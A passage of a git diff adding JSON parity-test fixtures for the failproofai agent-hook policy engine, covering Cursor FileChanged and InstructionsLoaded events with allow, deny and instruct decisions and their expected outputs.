b/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..6c6d5165 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7716a9a7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..df5bcc85 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..6086a172 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b79748b9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6dc3ca9b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..3ac8b901 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..12e17e36 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a83705f9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..0d62e269 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..48a4310b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f8ffa348 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d3b508b5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..822f9a73 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..bba0e43d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..62d44ea5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..9fe7ca51 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..46481c5a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..40b59c5a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": 